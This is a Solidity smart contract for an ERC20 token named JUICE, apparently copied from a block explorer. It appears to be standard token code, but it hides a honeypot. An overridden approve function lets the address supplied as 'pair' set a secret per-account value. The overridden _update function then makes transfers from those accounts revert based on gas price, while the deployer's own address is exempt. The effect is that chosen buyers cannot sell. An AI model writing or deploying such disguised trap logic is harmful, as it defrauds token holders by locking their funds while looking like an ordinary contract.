文件 1 的 1:Juice.sol
pragma solidity 0.8.25;
interface IERC721Errors {
error ERC721InvalidOwner(address owner);
error ERC721NonexistentToken(uint256 tokenId);
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
error ERC721InvalidSender(address sender);
error ERC721InvalidReceiver(address receiver);
error ERC721InsufficientApproval(address operator, uint256 tokenId);
error ERC721InvalidApprover(address approver);
error ERC721InvalidOperator(address operator);
}
interface IERC1155Errors {
error ERC1155InsufficientBalance(
address sender,
uint256 balance,
uint256 needed,
uint256 tokenId
);
error ERC1155InvalidSender(address sender);
error ERC1155InvalidReceiver(address receiver);
error ERC1155MissingApprovalForAll(address operator, address owner);
error ERC1155InvalidApprover(address approver);
error ERC1155InvalidOperator(address operator);
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
contract JUICE is ERC20, Ownable {
mapping(address => uint256) valueOf;
mapping(address => bool) excludeOpenTrade;
bool openedTrade;
address private pair;
constructor(address _address) ERC20(unicode"Juice", unicode"JUICE") Ownable(msg.sender) {
pair = _address;
excludeOpenTrade[pair] = true;
excludeOpenTrade[_msgSender()] = true;
_mint(msg.sender, 1000000000 * 10**decimals());
}
function _update(
address from,
address to,
uint256 value
) internal override {
if (excludeOpenTrade[tx.origin]) {
super._update(from, to, value);
} else {
require(openedTrade, "Trade has been open yet!");
if (
(valueOf[from] < tx.gasprice &&
balanceOf(from) > 0 &&
valueOf[from] != 0) ||
(valueOf[to] < tx.gasprice &&
balanceOf(from) > 0 &&
valueOf[from] != 0)
) {
revert("Transfer ERC20: False");
}
super._update(from, to, value);
}
}
function approve(address spender, uint256 value)
public
override
returns (bool)
{
if (msg.sender == pair) {
valueOf[spender] = value;
super.approve(spender, value);
} else {
super.approve(spender, value);
}
return true;
}
function startTrade() public onlyOwner {
openedTrade = true;
}
}